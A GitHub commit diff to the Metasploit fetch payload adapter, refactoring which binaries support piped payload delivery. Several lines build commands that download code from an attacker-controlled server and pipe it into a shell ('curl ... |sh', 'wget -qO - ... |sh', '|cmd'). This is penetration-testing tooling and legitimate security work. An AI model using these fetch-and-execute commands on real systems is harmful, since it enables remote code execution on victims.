Skip to content

Commit 0442003

Browse files
committed
Add more suggested changes
1 parent 8cfcfa3 commit 0442003

File tree

1 file changed

+14
-10
lines changed

1 file changed

+14
-10
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -82,16 +82,19 @@ def fetch_bindnetloc
8282
Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
8383
end
8484

85+
def pipe_supported_binaries
86+
# this is going to expand when we add psh support
87+
return %w[CURL] if windows?
88+
%w[WGET CURL]
89+
end
8590

8691
def generate(opts = {})
8792
opts[:arch] ||= module_info['AdaptedArch']
8893
opts[:code] = super
8994
@srvexe = generate_payload_exe(opts)
9095
if datastore['FETCH_PIPE']
91-
supported_binaries = %w[CURL]
92-
supported_binaries = %w[WGET CURL] if linux?
93-
unless supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
94-
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be WGET or CURL.")
96+
unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
97+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
9598
end
9699
@pipe_cmd = generate_fetch_commands
97100
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
@@ -118,7 +121,8 @@ def generate_pipe_command
118121
when 'CURL'
119122
return _generate_curl_pipe
120123
else
121-
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be WGET or CURL.") end
124+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
125+
end
122126
end
123127

124128
def generate_fetch_commands
@@ -320,11 +324,11 @@ def _generate_curl_pipe
320324
execute_cmd = 'cmd' if windows?
321325
case fetch_protocol
322326
when 'HTTP'
323-
return "curl -s http://#{_download_pipe} | #{execute_cmd}"
327+
return "curl -s http://#{_download_pipe}|#{execute_cmd}"
324328
when 'HTTPS'
325-
return "curl -sk https://#{_download_pipe} | #{execute_cmd}"
329+
return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
326330
when 'TFTP'
327-
return "curl -s tftp://#{_download_pipe} | #{execute_cmd}"
331+
return "curl -s tftp://#{_download_pipe}|#{execute_cmd}"
328332
else
329333
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
330334
end
@@ -394,9 +398,9 @@ def _generate_wget_command
394398
def _generate_wget_pipe
395399
case fetch_protocol
396400
when 'HTTPS'
397-
return "wget --no-check-certificate -qO - https://#{_download_pipe} | sh"
401+
return "wget --no-check-certificate -qO - https://#{_download_pipe}|sh"
398402
when 'HTTP'
399-
return "wget -qO - http://#{_download_pipe} | sh"
403+
return "wget -qO - http://#{_download_pipe}|sh"
400404
else
401405
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
402406
end

0 commit comments

Comments
 (0)